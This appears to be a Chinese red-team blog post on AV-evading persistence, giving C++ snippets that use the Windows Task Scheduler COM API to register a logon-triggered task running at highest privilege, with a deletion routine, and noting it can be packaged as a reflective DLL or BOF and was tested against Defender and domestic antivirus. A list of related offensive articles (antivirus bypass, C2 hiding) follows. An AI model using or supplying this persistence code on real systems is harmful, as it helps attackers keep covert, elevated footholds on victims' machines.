「权限维持」不是吧?免杀维权还不会?

简介: 「权限维持」不是吧?免杀维权还不会?

实现原理

程序功能分为三部分,首先是初始化,其次是添加计划任务,最后添加了删除计划任务功能。

以下只展示思路与代码demo

1.Initialization

为了获取到获取 ITaskService 对象以及 ITaskFolder 对象

首先初始化COM接口

//  初始化 COM
 hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
  //  设置 COM security levels.
  hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
  //  创建Task Service对象
  hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
  //  连接到Task Service
  hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
  hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);

2.CreateTask

首先创建任务定义对象,进行任务创建操作

hr = pService->NewTask(0, &pTask);

接着设置注册信息

hr = pTask->get_RegistrationInfo(&pRegInfo);
 //作者
 hr = pRegInfo->put_Author(_bstr_t(wszAuthor));
 //描述
 hr = pRegInfo->put_Description(_bstr_t(wszDescription));

设置主体信息

hr = pTask->get_Principal(&pPrincipal);
  //  设置登陆类型
 hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
  // 设置运行权限
 hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);

设置任务相关信息

hr = pTask->get_Settings(&pSettings);
 hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
 hr = pSettings->get_IdleSettings(&pIdleSettings);

创建触发器

hr = pTask->get_Triggers(&pTriggerCollection);
 hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);

设置执行操作

hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
 hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
 //设置程序路径等信息
 hr = pExecAction->put_Path(_bstr_t(wszProgramPath));
 ......

在ITaskFolder对象注册

hr = pRootFolder->RegisterTaskDefinition(_bstr_t(wszTaskName), pTask, TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(L""), &pRegisteredTask);

3.DeleteTask

直接根据事先写好的名字删除即可

hr = pRootFolder->DeleteTask(_bstr_t(TaskName), 0);

程序截图

只是思路demo,当然实战中集成为反射DLL、BOF等都可以

效果

只测试了几个常见国内以及Defender,更多的没有测试

相关文章
|
XML 安全 C++
Windows RPC之MS-TSCH添加计划任务
Windows RPC之MS-TSCH添加计划任务
2015 0
|
监控 安全 调度
红队视角下的Windows ScheduleTask
红队视角下的Windows ScheduleTask
1362 0
「装杯系列」驱动强制结束360核晶主动防御
「装杯系列」驱动强制结束360核晶主动防御
|
安全 网络安全
技巧!通过360卫士白名单绕过查杀
技巧!通过360卫士白名单绕过查杀
2230 0
|
JavaScript API CDN
一个功能强大、好看的vue表格组件
支持Vue 3/Vue 2的一个表格组件,支持表格增删改、虚拟表格、复杂表格、树形表格、数据校验、懒加载、分页、弹窗、单元格样式设置、按钮自定义样式、表头样式、单元格合等功能。
2917 0
一个功能强大、好看的vue表格组件
|
NoSQL 网络安全 Redis
redis未授权访问利用汇总
redis未授权访问利用汇总
364 0
|
存储 数据库 OceanBase
OceanBase数据库的磁盘配置包括数据盘和事务日志盘的大小
OceanBase数据库的磁盘配置包括数据盘和事务日志盘的大小
449 7
|
5G Linux Python
使用Speedtest CLI测试你的网速
使用Speedtest CLI测试你的网速
使用Speedtest CLI测试你的网速
|
存储 Kubernetes 安全
k8s安全学习
k8s安全学习
1459 0
|
网络协议 网络安全 CDN
「红队建设」Domain Fronting隐藏C2服务器技术
「红队建设」Domain Fronting隐藏C2服务器技术